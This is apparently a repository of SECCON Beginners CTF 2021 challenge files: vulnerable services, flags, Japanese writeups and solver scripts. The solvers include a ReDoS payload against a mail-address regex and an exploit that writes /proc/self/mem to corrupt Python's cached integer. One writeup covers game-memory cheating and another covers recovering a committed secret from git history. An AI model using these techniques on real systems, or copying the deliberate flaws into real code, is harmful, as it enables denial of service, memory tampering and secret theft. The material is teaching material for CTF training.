-------------------------------------------------------------------------------- /misc/Mail_Address_Validator/build/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | 4 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/build/main.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'timeout' 3 | 4 | $stdout.sync = true 5 | $stdin.sync = true 6 | 7 | pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i 8 | 9 | begin 10 | Timeout.timeout(60) { 11 | Process.wait Process.fork { 12 | puts "I check your mail address." 13 | puts "please puts your mail address." 14 | input = gets.chomp 15 | begin 16 | Timeout.timeout(5) { 17 | if input =~ pattern 18 | puts "Valid mail address!" 19 | else 20 | puts "Invalid mail address!" 21 | end 22 | } 23 | rescue Timeout::Error 24 | exit(status=14) 25 | end 26 | } 27 | 28 | case Process.last_status.to_i >> 8 29 | when 0 then 30 | puts "bye." 31 | when 1 then 32 | puts "bye." 33 | when 14 then 34 | File.open("flag.txt", "r") do |f| 35 | puts f.read 36 | end 37 | else 38 | puts "What's happen?" 39 | end 40 | } 41 | rescue Timeout::Error 42 | puts "bye." 43 | end 44 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/build/misc.xinetd: -------------------------------------------------------------------------------- 1 | service misc 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = misc 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 5100 11 | server = /home/misc/redir.sh 12 | per_source = 3 13 | rlimit_cpu = 60 14 | rlimit_as = 1024M 15 | } 16 | 17 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/build/redir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | cd /home/misc && ./main.rb 3 | 4 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | mail_address_validator: 5 | build: 6 | context: . 7 | restart: always 8 | working_dir: /home/pwn 9 | container_name: mail_address_validator 10 | ulimits: 11 | nproc: 65535 12 | core: 0 13 | ports: 14 | - "5100:5100" 15 | entrypoint: /etc/init.sh 16 | 17 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/files/main.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'timeout' 3 | 4 | $stdout.sync = true 5 | $stdin.sync = true 6 | 7 | pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i 8 | 9 | begin 10 | Timeout.timeout(60) { 11 | Process.wait Process.fork { 12 | puts "I check your mail address." 13 | puts "please puts your mail address." 14 | input = gets.chomp 15 | begin 16 | Timeout.timeout(5) { 17 | if input =~ pattern 18 | puts "Valid mail address!" 19 | else 20 | puts "Invalid mail address!" 21 | end 22 | } 23 | rescue Timeout::Error 24 | exit(status=14) 25 | end 26 | } 27 | 28 | case Process.last_status.to_i >> 8 29 | when 0 then 30 | puts "bye." 31 | when 1 then 32 | puts "bye." 33 | when 14 then 34 | File.open("flag.txt", "r") do |f| 35 | puts f.read 36 | end 37 | else 38 | puts "What's happen?" 39 | end 40 | } 41 | rescue Timeout::Error 42 | puts "bye." 43 | end 44 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ADD solve.py solve.py 4 | CMD python solve.py 5 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/solver/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | from socket import * 3 | 4 | def recvuntil(token): 5 | o = b'' 6 | while True: 7 | o += io.recv(1) 8 | if token in o: 9 | break 10 | return o 11 | 12 | HOST = os.getenv('CTF4B_HOST', '0.0.0.0') 13 | PORT = int(os.getenv('CTF4B_PORT', '5100')) 14 | 15 | payload = b'a@AAAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' 16 | 17 | io = socket(AF_INET, SOCK_STREAM) 18 | io.connect((HOST, PORT)) 19 | 20 | recvuntil(b'please puts your mail address.') 21 | io.recv(1) 22 | io.send(payload) 23 | print(io.recv(0x100).decode('utf-8', 'ignore'), end='') 24 | 25 | io.close() 26 | -------------------------------------------------------------------------------- /misc/depixelization/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x} -------------------------------------------------------------------------------- /misc/depixelization/README.md: -------------------------------------------------------------------------------- 1 | # depixelization 2 | 3 | ## 問題文 4 | Can you depixelize it ? 5 | 6 | ## 難易度 7 | **Medium** 8 | 9 | ## 作問にあたって 10 | モザイク加工したテキストを復元するツール([Depix](https://github.com/beurtschipper/Depix))を見て思い付いた。 11 | ツール自体はフォントのサイズや種類によって使えなかったが、オレオレモザイクなら比較的簡単に復元できる。 12 | 原像が小さいことに気付けるかがポイント。 -------------------------------------------------------------------------------- /misc/depixelization/build/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/depixelization/build/output.png -------------------------------------------------------------------------------- /misc/depixelization/build/pixelization.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import numpy as np 3 | 4 | flag = "ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}" 5 | 6 | print("FLAG: " + flag) 7 | 8 | images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) 9 | 10 | for i in flag: 11 | 12 | # char2img 13 | img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) 14 | cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) 15 | 16 | # pixelization 17 | cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) 18 | cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) 19 | cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) 20 | simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o 21 | img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) 22 | 23 | # concat 24 | if images.all(): 25 | images = img 26 | else: 27 | images = cv2.hconcat([images, img]) 28 | 29 | cv2.imwrite("output.png", images) -------------------------------------------------------------------------------- /misc/depixelization/files/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/depixelization/files/output.png -------------------------------------------------------------------------------- /misc/depixelization/files/pixelization.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import numpy as np 3 | 4 | flag = "**********flag**********" 5 | 6 | print("FLAG: " + flag) 7 | 8 | images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) 9 | 10 | for i in flag: 11 | 12 | # char2img 13 | img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) 14 | cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) 15 | 16 | # pixelization 17 | cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) 18 | cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) 19 | cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) 20 | simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o 21 | img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) 22 | 23 | # concat 24 | if images.all(): 25 | images = img 26 | else: 27 | images = cv2.hconcat([images, img]) 28 | 29 | cv2.imwrite("output.png", images) -------------------------------------------------------------------------------- /misc/depixelization/solver/solver.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import numpy as np 3 | 4 | images = cv2.imread("../files/output.png") 5 | 6 | for i in range(0, len(images[0]), 85): 7 | for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!?'": 8 | # char2img 9 | img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8) 10 | cv2.putText(img, j, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) 11 | # pixelization 12 | cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA) 13 | cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA) 14 | cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA) 15 | simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) 16 | img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST) 17 | # check 18 | if np.array_equal(img, images[0 : 100, i: i+85]): 19 | print(j, end="") 20 | break 21 | print() -------------------------------------------------------------------------------- /misc/depixelization/writeup.md: -------------------------------------------------------------------------------- 1 | # depixelization - Writeup 2 | 3 | output.pngとpixelization.pyが配られる。 4 | pixelization.pyでは、フラグの文字と文字P、I、Xを重ねて縮小することでモザイク加工を行っている。 5 | 文字P、I、Xを除去することを考えるが、情報量が落ちているため難しそうだ。 6 | ここで、モザイク加工が単射であり原像がアルファベットと記号になっていることに気づく。 7 | さらにモザイク加工のためのフォントやサイズなどはソースコードより既知なので原像すべてをモザイク加工した後、一致を調べればよい(solverでは逐次モザイク加工している)。 8 | 9 | 文字P、I、Xを入れたのはそのままモザイク加工すると普通に読めて焦ったから(汗)。 -------------------------------------------------------------------------------- /misc/fly/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{b3_c4r3ful_0f_fl135_wh3n_73l3p0r71n6} -------------------------------------------------------------------------------- /misc/fly/README.md: -------------------------------------------------------------------------------- 1 | # fly 2 | 3 | ## 問題文 4 | Can you fly ? 5 | Are you fly ? 6 | 7 | ## 難易度 8 | **Medium** 9 | 10 | ## 作問にあたって 11 | GUIチート問。 12 | マップ隠蔽部分を無くしてbeginnerにもできる。 -------------------------------------------------------------------------------- /misc/fly/files/fly/Config.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/fly/files/fly/Config.exe -------------------------------------------------------------------------------- /misc/fly/files/fly/Data.wolf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/fly/files/fly/Data.wolf -------------------------------------------------------------------------------- /misc/fly/files/fly/Game.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/fly/files/fly/Game.exe -------------------------------------------------------------------------------- /misc/fly/files/fly/GuruguruSMF4.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/fly/files/fly/GuruguruSMF4.dll -------------------------------------------------------------------------------- /misc/fly/writeup.md: -------------------------------------------------------------------------------- 1 | # fly - Writeup 2 | 3 | ゲームのチートを行う。 4 | ゲームデータが暗号化されているので、stringsなどでフラグは出てこない。 5 | まずはメモリを書き換えることによる主人公の座標の移動を試みる。 6 | CheatEngineなどがよく知られている。 7 | 左右に動くことができるので以下の手順でX座標を特定する。 8 | - 初期値不明で検索 9 | - 以下を繰り返す 10 | - 左に動き、値減少で検索(X座標を右が正だと予想) 11 | - 右に動き、値増加で検索 12 | - 5以上で値検索(X座標が一マスごとに1増えると予想、5マスより右にいるので) 13 | - 100以下で値検索 14 | 15 | アイコンからWOLF RPGエディターと特定し、実際にゲームを作って解析してもよい。 16 | これらにより特定したX座標を書き換え、閉鎖空間から外に出ることに成功する。 17 | 赤色の階段から別のマップに移動できるが、フラグはない。 18 | 青色の階段があることから、移動できないマップがあると考えマップをメモリ上から探す。 19 | メモリダンプしてstringsにかけるとctf4b.mpsやflag1.mpsやflag2.mpsが見える(flagやゲーム名であるctf4bで検索)。 20 | どれかが移動できないマップである。 21 | すべて試せばよい。 22 | メモリ内のflag1.mpsをすべてflag2.mpsに書き換えると無事フラグがあるマップへ飛べる。 -------------------------------------------------------------------------------- /misc/git-leak/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t} 2 | 3 | -------------------------------------------------------------------------------- /misc/git-leak/README.md: -------------------------------------------------------------------------------- 1 | # git-leak 2 | ## 問題文 3 | 後輩が誤って機密情報をコミットしてしまった。ひとまずコミットを上書きして消したからこれで十分ですよね? 4 | 5 | ## 難易度 6 | Easy 7 | 8 | ## 作問にあたって 9 | Gitのコミット上書きでcredentialの証跡を消せたと思い込むのは危険なので、この問題を作問しました。 10 | 11 | 「セキュリティやCTFの知識や経験が必要になる」 12 | => そのままだと本当にやるだけになるので。破損したzlibファイルのヘッダを修正する部分を追加してCTF-likeにしました。 13 | 破損の仕方が現実的ではないのが残念なところです。 14 | 15 | 「特にはある程度発想の転換やパズルを解く必要がある」 16 | =>やるだけといえばやるだけなので、難易度Beginnerにしました。 17 | -------------------------------------------------------------------------------- /misc/git-leak/files/git-leak.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/misc/git-leak/files/git-leak.zip -------------------------------------------------------------------------------- /misc/git-leak/writeup.md: -------------------------------------------------------------------------------- 1 | ## 解法 2 | 1. git reflogでコミット履歴を確認し、該当コミットハッシュを取得する 3 | 4 | ```bash 5 | $ git reflog 6 | e0b545f (HEAD -> master) HEAD@{0}: commit (amend): feat: めもを追加 7 | 80f3044 HEAD@{1}: commit (amend): feat: めもを追加 8 | b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master 9 | b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加 10 | 7387982 HEAD@{4}: rebase -i: fast-forward 11 | 36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2 12 | 7387982 HEAD@{6}: reset: moving to HEAD 13 | 7387982 HEAD@{7}: commit: feat: めもを追加 14 | 36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加 15 | 9ac9b0c HEAD@{9}: commit: change: 順番を変更 16 | 8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加 17 | d3b47fe HEAD@{11}: commit: feat: fsckを追記する 18 | f66de64 HEAD@{12}: commit: feat: reflogの説明追加 19 | d5aeffe HEAD@{13}: commit: feat: resetの説明を追加 20 | a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加 21 | 9fcb006 HEAD@{15}: commit: feat: git commitの説明追加 22 | 6d21e22 HEAD@{16}: commit: feat: git addの説明を追加 23 | 656db59 HEAD@{17}: commit: feat: add README.md 24 | c27f346 HEAD@{18}: commit (initial): initial commit 25 | ``` 26 | 27 | 2. git cat-file -pでtree->blobのコミットハッシュを取得する 28 | 29 | ```bash 30 | $ git cat-file -p 73879 31 | tree a5b6b52f47aba96730ab61471ddcdff864e5dd8c 32 | parent 36a4809f1ae8013432eb52cfd2f9f062a3269499 33 | author task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900 34 | committer task4233 <29667656+task4233@users.noreply.github.com> 1620491725 +0900 35 | 36 | feat: めもを追加 37 | $ git cat-file -p a5b6b 38 | 100644 blob 16290835a0f74ccf30cbf30d791c84392a9dcce6 README.md 39 | 100644 blob 4cbb035d2ff072127b4e22919485127d2273e88e flag.txt 40 | 100644 blob 62337fdb59ceb048f7da9eaf768923d744930842 note.md 41 | ``` 42 | 43 | 3. 該当コミットのblobをzlibでdecompressしようとすると、data checkで落ちる 44 | 45 | ```bash 46 | $ git cat-file -p 4cbb03 47 | ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t} 48 | ``` 49 | -------------------------------------------------------------------------------- /misc/writeme/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{r36ul4r_3xpr35510n_f0r_4ny_51n6l3_ch4r4c73r} -------------------------------------------------------------------------------- /misc/writeme/README.md: -------------------------------------------------------------------------------- 1 | # writeme 2 | 3 | ## 問題文 4 | writeme. 5 | (A little pwn) 6 | 7 | ## 難易度 8 | **Medium** 9 | 10 | ## 作問にあたって 11 | pythonの整数がキャッシュされることを知って思いついた問題。 12 | /proc/self/memを書き換えるのはreadmeリスペクト。 13 | writeme.は実は正規表現でwrite`mem`を示している(白目)。 -------------------------------------------------------------------------------- /misc/writeme/build/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | RUN apk --no-cache add socat 4 | RUN adduser -D ctf 5 | 6 | ADD writeme.py /home/ctf/writeme/writeme.py 7 | ADD flag /home/ctf/writeme/flag 8 | RUN chmod 500 /home/ctf/writeme/writeme.py 9 | RUN chmod 400 /home/ctf/writeme/flag 10 | RUN chown ctf:root /home/ctf -R 11 | 12 | USER ctf 13 | WORKDIR /home/ctf/writeme/ 14 | CMD socat TCP-L:27182,fork,reuseaddr EXEC:"python3 ./writeme.py",stderr -------------------------------------------------------------------------------- /misc/writeme/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | writeme: 5 | build: 6 | context: . 7 | working_dir: /home/ctf/writeme 8 | restart: always 9 | ports: 10 | - "27182:27182" -------------------------------------------------------------------------------- /misc/writeme/build/flag: -------------------------------------------------------------------------------- 1 | ctf4b{r36ul4r_3xpr35510n_f0r_4ny_51n6l3_ch4r4c73r} -------------------------------------------------------------------------------- /misc/writeme/build/writeme.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | 4 | assert os.path.isfile("flag") 5 | 6 | if __name__ == "__main__": 7 | open("writeme", "w").write("The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.") 8 | print(eval(input("Chance: ")[:5])) # 42=99 :) 9 | path = input("File: ") 10 | if not os.path.exists(path): 11 | exit("File not found") 12 | if not os.path.isfile(path): 13 | exit("Not a file") 14 | if "flag" in path: 15 | exit("Path not allowed") 16 | try: 17 | fd = open(path, "r+") 18 | fd.seek(int(input("Seek: "))) 19 | fd.write("Hack") 20 | fd.flush() 21 | fd.seek(0) 22 | except: 23 | exit("Error") 24 | 25 | if 42 >= 99: 26 | print(open("flag").readline()) # Congrats! 27 | else: 28 | print(fd.readline()) 29 | -------------------------------------------------------------------------------- /misc/writeme/files/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | RUN apk --no-cache add socat 4 | RUN adduser -D ctf 5 | 6 | ADD writeme.py /home/ctf/writeme/writeme.py 7 | ADD flag /home/ctf/writeme/flag 8 | RUN chmod 500 /home/ctf/writeme/writeme.py 9 | RUN chmod 400 /home/ctf/writeme/flag 10 | RUN chown ctf:root /home/ctf -R 11 | 12 | USER ctf 13 | WORKDIR /home/ctf/writeme/ 14 | CMD socat TCP-L:27182,fork,reuseaddr EXEC:"python3 ./writeme.py",stderr -------------------------------------------------------------------------------- /misc/writeme/files/writeme.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | 4 | assert os.path.isfile("flag") 5 | 6 | if __name__ == "__main__": 7 | open("writeme", "w").write("The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.") 8 | print(eval(input("Chance: ")[:5])) # 42=99 :) 9 | path = input("File: ") 10 | if not os.path.exists(path): 11 | exit("File not found") 12 | if not os.path.isfile(path): 13 | exit("Not a file") 14 | if "flag" in path: 15 | exit("Path not allowed") 16 | try: 17 | fd = open(path, "r+") 18 | fd.seek(int(input("Seek: "))) 19 | fd.write("Hack") 20 | fd.flush() 21 | fd.seek(0) 22 | except: 23 | exit("Error") 24 | 25 | if 42 >= 99: 26 | print(open("flag").readline()) # Congrats! 27 | else: 28 | print(fd.readline()) 29 | -------------------------------------------------------------------------------- /misc/writeme/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.2-alpine 2 | 3 | WORKDIR /app 4 | ADD . /app 5 | 6 | CMD ["python3", "/app/solver.py"] -------------------------------------------------------------------------------- /misc/writeme/solver/solver.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | 4 | HOST = os.getenv("CTF4B_HOST", "0.0.0.0") 5 | PORT = os.getenv("CTF4B_PORT", "27182") 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((HOST, int(PORT))) 9 | 10 | s.recv(128) #Chance: 11 | s.send(b"id(1)\n") 12 | id_1 = int(s.recv(128).decode().replace("\nFile:", "")) #XXXXX\nFile: 13 | print(id_1) 14 | s.send(b"/proc/self/mem\n") 15 | s.recv(128) #Seek: 16 | id_42 = id_1 + 41*32 + 24 17 | print(id_42) 18 | s.send(str(id_42).encode()+b"\n") 19 | 20 | print(s.recv(128).decode(), end="") 21 | 22 | s.close() -------------------------------------------------------------------------------- /pwnable/2021_emulator/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND nointeractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd 7 | RUN groupadd -r pwn && useradd -r -g pwn pwn 8 | 9 | ADD build/pwn.xinetd /etc/xinetd.d/pwn 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/pwn/redir.sh 12 | RUN chmod 550 /home/pwn/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/pwn/flag.txt 17 | ADD files/2021_emulator/chall /home/pwn/chall 18 | ADD build/banner.txt /home/pwn/banner.txt 19 | RUN chmod 440 /home/pwn/flag.txt 20 | RUN chmod 550 /home/pwn/chall 21 | 22 | RUN chown -R root:pwn /home/pwn 23 | 24 | RUN ls /home/pwn -lh 25 | 26 | RUN service xinetd restart 27 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r} -------------------------------------------------------------------------------- /pwnable/2021_emulator/README.md: -------------------------------------------------------------------------------- 1 | # 2021 emulator 2 | 3 | ## 問題文 4 | 8080の1/4と少しの命令を実装したエミュレータです 5 | 6 | 8080のオペコードについては[このサイト](https://pastraiser.com/cpu/i8080/i8080_opcodes.html)が参考になります. 7 | 8 | このエミュレータには`MVI`, `MOV`, `RET`等の命令が実装されています. 9 | 10 | `RET`命令を発行すると,`A`レジスタの内容を表示して,プログラムが終了します. 11 | 12 | ## 難易度 13 | **Medium** 14 | 15 | ## 作問にあたって 16 | エミュレータ書くのが好きなので書いていたら思いついた問題. 17 | かと言ってアーキテクチャ固有の問題という訳では無く,結構シンプル. 18 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/Makefile: -------------------------------------------------------------------------------- 1 | all: emulator 2 | 3 | emulator: *.c *.h Makefile 4 | gcc -o chall -Wall -Wextra -no-pie main.c 5 | cp chall ../files/ 6 | cp chall ../solver/ 7 | 8 | clean: 9 | rm chall ../files/chall ../solver/chall 10 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/banner.txt: -------------------------------------------------------------------------------- 1 | .:: . .:::.,:::::: ::: .,-::::: ... . : .,:::::: 2 | ';;, ;; ;;;' ;;;;'''' ;;; ,;;;'````' .;;;;;;;. ;;,. ;;; ;;;;'''' 3 | '[[, [[, [[' [[cccc [[[ [[[ ,[[ \[[,[[[[, ,[[[[, [[cccc 4 | Y$c$$$c$P $$"""" $$' $$$ $$$, $$$$$$$$$$$"$$$ $$"""" 5 | "88"888 888oo,__ o88oo,.__`88bo,__,o,"888,_ _,88P888 Y88" 888o888oo,__ 6 | "M "M" """"YUMMM""""YUMMM "YUMMMMMP" "YMMMMMP" MMM M' "MMM""""YUMMM 7 | 8 | :::::::::::: ... 9 | ;;;;;;;;''''.;;;;;;;. 10 | [[ ,[[ \[[, 11 | $$ $$$, $$$ 12 | 88, "888,_ _,88P 13 | MMM "YMMMMMP" 14 | 15 | .:::. .:::. :. 16 | ,;'``;. ,;;, ,;'``;. ;; 17 | '' ,[[',[' [n '' ,[['[[ 18 | .c$$P' $$ $$ .c$$P' $$ 19 | d88 _,oo,Y8, ,8"d88 _,oo,88 20 | MMMUP*"^^ "YmmP MMMUP*"^^MM 21 | 22 | .,:::::: . : ... ::: ::: :::. :::::::::::: ... :::::::.. 23 | ;;;;'''' ;;,. ;;; ;; ;;; ;;; ;;`;;;;;;;;;;''''.;;;;;;;. ;;;;``;;;; 24 | [[cccc [[[[, ,[[[[, [[' [[[ [[[ ,[[ '[[, [[ ,[[ \[[, [[[,/[[[' 25 | $$"""" $$$$$$$$"$$$ $$ $$$ $$' c$$$cc$$$c $$ $$$, $$$ $$$$$$c 26 | 888oo,__ 888 Y88" 888o88 .d888o88oo,.__888 888, 88, "888,_ _,88P 888b "88bo, 27 | """"YUMMMMMM M' "MMM "YmmMMMM""""""YUMMMYMM ""` MMM "YMMMMMP" MMMM "W" 28 | 29 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/pwnable/2021_emulator/build/chall -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/emulator.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | enum { 7 | A, 8 | B, 9 | C, 10 | D, 11 | E, 12 | H, 13 | L, 14 | PC_H, 15 | PC_L, 16 | SP_H, 17 | SP_L, 18 | FLAG, 19 | REGISTERS_COUNT, 20 | PC = PC_H, 21 | SP = SP_H, 22 | HL = H, 23 | M 24 | }; 25 | 26 | struct emulator { 27 | uint8_t registers[REGISTERS_COUNT]; 28 | uint8_t memory[0x4000]; 29 | void (*instructions[0xFF])(struct emulator*); 30 | }; 31 | 32 | typedef void instruction_t(struct emulator *); 33 | 34 | void load_to_mem(struct emulator *emu, FILE *f) { 35 | char c; 36 | for(int i = 0, c = fgetc(f); c != EOF && i < 0x4000; i++, c = fgetc(f)) { 37 | emu->memory[i] = c; 38 | if (c == 0xC9) 39 | break; 40 | } 41 | } 42 | 43 | uint16_t get_pc(struct emulator *e) { 44 | uint16_t ret = 0; 45 | ret |= (e->registers[PC_H] << 8); 46 | ret |= e->registers[PC_L]; 47 | return ret; 48 | } 49 | 50 | uint16_t get_hl(struct emulator *e) { 51 | uint16_t ret = 0; 52 | ret |= (e->registers[H] << 8); 53 | ret |= e->registers[L]; 54 | return ret; 55 | } 56 | 57 | uint16_t get_sp(struct emulator *e) { 58 | uint16_t ret = 0; 59 | ret |= (e->registers[SP_H] << 8); 60 | ret |= e->registers[SP_L]; 61 | return ret; 62 | } 63 | 64 | uint8_t get_mem_pc(struct emulator *e) { 65 | return e->memory[get_pc(e)]; 66 | } 67 | 68 | uint8_t get_m(struct emulator *e) { 69 | return e->memory[get_hl(e)]; 70 | } 71 | 72 | void inc_pc(struct emulator *e) { 73 | if (e->registers[PC_L] == 0xFF) { 74 | e->registers[PC_L] = 0; 75 | e->registers[PC_H]++; 76 | } else { 77 | e->registers[PC_L]++; 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/main.c: -------------------------------------------------------------------------------- 1 | #include "instruction.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | void print_banner(); 11 | 12 | int main() { 13 | struct emulator *emu = calloc(sizeof(struct emulator), 0); 14 | init_instructions(emu); 15 | 16 | print_banner(); 17 | 18 | puts("loading to memory..."); 19 | load_to_mem(&emu->memory, stdin); 20 | puts("running emulator..."); 21 | while (1) { 22 | uint8_t pc = get_mem_pc(emu); 23 | emu->instructions[pc](emu); 24 | inc_pc(emu); 25 | } 26 | } 27 | 28 | void print_banner() { 29 | system("cat banner.txt"); 30 | } 31 | 32 | __attribute__((constructor)) 33 | void setup() { 34 | setvbuf(stdin, NULL, _IONBF, 0); 35 | setvbuf(stdout, NULL, _IONBF, 0); 36 | alarm(60); 37 | } 38 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/pwn.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = pwn 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 4100 11 | server = /home/pwn/redir.sh 12 | per_source = 3 13 | rlimit_cpu = 60 14 | rlimit_as = 1024M 15 | } 16 | -------------------------------------------------------------------------------- /pwnable/2021_emulator/build/redir.sh: 